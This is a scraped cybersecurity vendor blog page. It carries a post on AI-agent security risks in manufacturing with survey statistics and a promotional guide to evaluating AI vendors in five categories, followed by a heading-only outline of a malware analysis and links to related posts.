Adopting agentic AI systems across manufacturing raises some concerns across security teams. New data from our State of AI Cybersecurity survey shows that 78% of manufacturing security professionals are worried about employee use of AI agents – their top concern. That’s followed by employee use of generative AI tools like CoPilot and ChatGPT, a worry for 76% of security professionals at manufacturing organizations. As these tools gain more access to business data and processes, and more autonomy within organizations, security teams, who today have minimal visibility of agent activity in their environments, increasingly have sensitive data exposure (a worry for 60%) and accidental policy and regulatory violations (59%) on their minds.

External AI-powered threats are evolving just as quickly

The same capabilities transforming manufacturing are also reshaping cyberattacks.

AI is enabling attackers to automate reconnaissance, refine targeting, and adapt in real time. What once required time and manual effort can now be executed continuously and at scale. Manufacturers are already seeing the impact. According to manufacturing security professionals we surveyed, 76% are already being impacted by AI-powered threats and 90% see AI increasing the success of social engineering attacks.

And the techniques themselves are evolving. Concerns across the manufacturing sector show growing anxiety about the range of AI-powered attack routes, most pressingly of adaptive malware that evolves in real-time – a prospect half (49%) of manufacturing security professionals we surveyed are worried by, a full 9% more than the average across industries. AI adaptive malware is followed by:

Automated vulnerability scanning and exploit chaining (48%) which has become even more pressing as Anthropic’s new Mythos AI Model supercharges vulnerability discovery

Hyper-personalized phishing campaigns (46%), which remain a mainstay in hackers’ arsenals, and AI has amplified their effectiveness by making phishing emails more convincing and harder to detect.

This is not just an increase in volume, it is a shift toward threats that evolve as they unfold - often faster than static defenses can respond.

Despite rising awareness, many manufacturers are not yet equipped to manage this shift. More than half (51%) say they are not adequately prepared for AI-driven threats, and only 37% have formal policies governing AI deployment.

Securing AI through visibility, context, and guardrails

Addressing this challenge does not require manufacturers to slow innovation. It requires a different approach to security, one that can operate at the same speed and scale as AI. Three specific priorities are emerging for manufacturers looking to take advantage of the power of AI.

Visibility is foundational.

Organizations need to understand where AI is being used, what it can access, and how it behaves across both IT and OT environments. Without that, risk cannot be measured or managed. It is no surprise that Darktrace’s research found that 91% of manufacturing security professionals said that they need to understand how AI makes decisions before trusting it. This is even more critical in operational settings where disruption has safety, environmental, financial, and reputational impacts.

Context is what turns visibility into action.

In environments shaped by AI, normal behavior is constantly shifting. Detecting threats requires a behavioral approach; understanding patterns of life across the organization and identifying subtle deviations in real time – a step change in organizations’ traditional approach to security and risk management.

Guardrails ensure that agency does not become exposure

As AI systems take on greater responsibility, organizations need clear boundaries around what they can do and when they can act independently. These controls must be embedded into systems themselves, not applied after the fact.

Securing AI Agents Across Manufacturing IT and OT

The rise of agentic AI is transforming manufacturing - powering next-generation operations while reshaping the security landscape. This is not just an increase in threats, but a shift to autonomous systems, continuously evolving behaviors, and risks moving at machine speed. For organizations trying to grapple with the challenge of enabling AI while managing the risk, visibility, context and guardrails should be foundational.

Darktrace helps manufacturers build secure AI approaches by making those foundations possible. It provides visibility and real-time detection and response to unusual activity across IT and OT environments and allows organizations to understand AI activity from the prompts employees use and the agents they build to how those agents are behaving across the environment. For manufacturers scaling AI, this delivers a foundation for innovation without sacrificing control.

About the author

Oakley Cox

Director of Product

Blog

May 28, 2026

How to Evaluate AI Vendors: 5 Key categories for AI Adoption

Understanding the AI buyers’ market

AI adoption has become a central topic of discussion in boardrooms, drawing growing interest from business leaders. Ultimately, organizations hope that an investment in AI technology will have tremendous returns. However, the process of buying an AI solution is not as straight forward as it appears on the surface.

While business leaders may be eager to improve productivity across their operations, practitioners responsible for evaluating and selecting AI solutions may not always have the visibility or technical understanding needed to make the right decisions for their business. What is typically marketed as a holistic solution to their most critical problems is usually followed by uncertainty when AI tools are finally operationalized in real environments.

This guide is intended to support security leaders who are under growing pressure to adopt AI tools while navigating complex terminology, vendor claims, and increasingly crowded buying cycles. Ultimately, the goal is to help organizations evaluate and adopt AI in a safe, effective, and well-governed way. To support this, we’ve structured the evaluation framework across five key categories:

Governance, safety, and data controls

Data gathering and training

Model and technique choice

Performance and accuracy validation

Interpretability, adjustability, and transparency

What buying AI looks like in cybersecurity

While investing in AI can bring immense benefits to your security team, first-time buyers of AI cybersecurity solutions may not know where to start. They will have to determine the type of tool they want, know the options available, and evaluate vendors. Research and understanding are critical to ensure purchases are worth the investment.

With acceleration in AI adoption, accompanied by the recent boom in agentic AI and autonomous agents, CISOs must look “beneath the hood" of these tools to understand how they work, how they are governed, and to ensure the system is secure and compliant with internal policies.

Challenges in the AI buyers’ marketplace

The AI security software market is buzzing with hype and flashy promises, which, understandably, needs to be addressed with due diligence. Potential buyers, especially in the cybersecurity space, are hesitant when it comes to allowing AI autonomous capabilities across their workflows, and a lack of vendor transparency can exacerbate those feelings.

Reinforcing this sentiment, research from this year's Darktrace’s State of AI Cybersecurity report shows where confidence and hesitancy emerge amongst potential buyers. On the one hand, security professionals agree that they have good visibility into the logic and reasoning processes their AI solutions use. However, they lack the explainability and trust to allow AI to take independent remedial action.

89% say they have good visibility into the reasoning behind the outputs generated by AI solutions

92% say they need to understand how a defensive AI tool makes decisions before they can trust it

Only 14% say they allow AI to act independently, performing autonomous actions without human approval

74% say they are limiting the autonomy of AI taking action in their SOC until explainability improves

Given the desire for trust and explainability we are seeing from buyers, it's important for them to be equipped with the right questions to ask vendors during an assessment or POV of AI tools in order to demystify marketing hype from real operational outcomes.

Below is a list of categories in which buyers can assess AI vendors or AI Service Providers (AISPs) to help reach safe adoption and maximize their ROI.

5 categories of AI vendor assessment

Darktrace groups these AI-related questions into 5 categories: governance, data and training, model and technique choice, performance validation, and interpretability and adjustability. By asking questions regarding each of these 5 categories, buyers can gain a deeper understanding of how an AISP’s systems work and whether they suit their business requirements.

Governance, safety, and data controls

Governance of AI systems is critical for all AISPs. Whether their platform is based around a single model, or is a more complex, composite AI solution, strong governance is essential to ensure the system is safe, robust, and reliable.

A simple question you could ask is: ‍

What AI governance policies and frameworks do you follow, and/or certifications do you currently maintain?

For more questions you can ask vendors, download the full guide here.

Darktrace is certified to the ISO/IEC 42001 standard, the world’s first AI Management System (AIMS) standard. ISO/IEC 42001 addresses the unique ethical and technical challenges AI poses by setting out a structured way to manage risks such as transparency, accuracy, and misuse. This includes a commitment to ethical AI development, and effective management and monitoring of AI systems both prior to and continually after release.

Data gathering and training

Accurate, meaningful, and unbiased data gathering is the first important step in producing any AI system. An AI model trained using inaccurate, unbalanced, or poor-quality training data will fail to perform optimally.

To alleviate concerns regarding training data quality, a question you could ask is:

‍What steps do you take to prevent bias in your AI models and training data?

For more questions, download the full guide here.

AISPs should be able to provide information about the steps taken, workflows followed, and auditing performed to reduce AI bias where appropriate. While it’s sometimes impossible to fully remove bias from an AI model, appropriate actions should be taken to mitigate or reduce bias where relevant.

Model and technique choice

Different AI techniques are optimal for different tasks. For example, research from Gartner suggests that relying on a single “one-size-fits-all" model can lead to data gaps, especially in highly specialized domains.

To achieve more accurate and robust AI solutions, AI leaders should move beyond using just one model or technique, embrace composite AI practices, and adopt a holistic AI system perspective.

A straightforward question you could ask is simply:

‍What type(s) of AI model(s) do you utilize in your solution?

For more questions, download the full guide here.

While specific detailed information about custom systems used by AISPs is likely proprietary, buyers should expect vendors to be able to provide an overview of the broad techniques used. This will allow you as a buyer to determine if the type of model is appropriate for your use case.

Performance and accuracy validation

Testing and evaluation of performance is essential for all AI systems. Performance analysis should be performed both before release and continually after release to identify potential data or model drift.

A question you could ask to understand an AISPs testing workflow is:

‍How do you audit, test, evaluate, verify, and validate your AI model outputs?

For more questions, download the full guide here.

Testing workflows will likely vary depending on the type of model – measurements relevant to one system may not always be relevant to others. Assessment of systems should also extend beyond these standard accuracy and robustness tests, and should also feature physical performance, such as latency and resource consumption.

Interpretability, adjustability, and transparency

AI systems are typically a black box, simply providing an output without an explanation of how that output was attained. Interpretability and transparency are critical to ensure that both SOC teams and end-users trust the outputs of a system to be accurate and meaningful.

A question you could ask is:

‍How do you promote a trust relationship between human analysts and AI outputs?

For more questions, download the full guide here.

In the context of cybersecurity, trust and interpretability are even more essential. This is particularly relevant for generative AI-based systems (including most AI Agents), where the risk of hallucination can reduce trust in responses.

Cybersecurity systems often need to perform autonomous actions to block incoming threats – an email filtering system may hold potentially dangerous emails; a firewall may block malicious inbound connections. If SOC teams can’t trust these systems to perform accurately, these systems may be limited or disabled, critically reducing their defensive power.

Darktrace as an AI-native cybersecurity vendor

Darktrace has been building and applying AI in cybersecurity for over a decade, developing its capabilities alongside an increasingly complex and fast‑moving threat landscape. This experience has resulted in a mature, multi-layered approach to AI, which continuously learns the normal patterns of each organization to understand behavior, interpret context, and identify meaningful deviations — without relying on predefined rules or known attack signatures. Over time, this has enabled a proven behavioral understanding that helps uncover subtle signals of risk that may otherwise be missed.

With the backing of our ISO/IEC 42001 certification, stakeholders, customers, and partners can be confident that Darktrace is responsibly, ethically, and safely developing its AI systems, and managing the use of AI in day-to-day operations in a compliant and secure manner.

Explore the principles behind Darktrace’s responsible AI approach, informed by collaboration with global experts in academia and governments, detailing how accountability, explainability, and continuous validation are built into its cybersecurity technology.

How Darktrace secures AI systems

Darktrace now brings these capabilities to monitor and respond to risk generated from AI systems across organizations with Darktrace / SECURE AI. This solution analyzes how prompts, agents, and systems are used within the context of each organization, bringing every AI interaction into a single view. This unique approach helps teams understand intent, assess risk, protect sensitive data, and enforce policy across both human and AI agent activity.

Stay up to date

Sign up for the Secure AI Readiness Program here: This gives you exclusive access to the latest news on the latest AI threats, updates on emerging approaches shaping AI security, and insights into the latest innovations, including Darktrace’s ongoing work in this area.

Ready to talk with a Darktrace expert on securing AI? Register here to receive practical guidance on the AI risks that matter most to your business, paired with clarity on where to focus first across governance, visibility, risk reduction, and long-term readiness.

Qubitstrike: An Emerging Malware Campaign Targeting Jupyter Notebooks

Introduction: Qubitstrike

Initial access

mi.sh

System preparation

Retrieving XMRig

Registering persistence

Credential exfiltration

SSH propagation

Diamorphine rootkit

Credential access

Discord C2

Conclusion

References

YARA rule

Indicators of compromise

Filename SHA256

Paths

SSH keys

URLs

Cryptocurrency wallet ID

Cryptocurrency mining pool

Chinese APT Campaign Targets Entities with Updated FDMTP Backdoor

From Efficiency to Exposure: How AI Adoption Is Creating Unseen Vulnerabilities on the Factory Floor

Enjoying the blog?

More in this series

Blog

May 28, 2026

From Efficiency to Exposure: How AI Adoption Is Creating Unseen Vulnerabilities on the Factory Floor

How AI agents impact the manufacturing industry

External AI-powered threats are evolving just as quickly

Securing AI through visibility, context, and guardrails

Securing AI Agents Across Manufacturing IT and OT

Blog

May 28, 2026

How to Evaluate AI Vendors: 5 Key categories for AI Adoption

Understanding the AI buyers’ market

What buying AI looks like in cybersecurity

Challenges in the AI buyers’ marketplace

5 categories of AI vendor assessment

Governance, safety, and data controls

Data gathering and training

Model and technique choice

Performance and accuracy validation

Interpretability, adjustability, and transparency

Darktrace as an AI-native cybersecurity vendor

How Darktrace secures AI systems

Stay up to date

Further Reading on AI in cybersecurity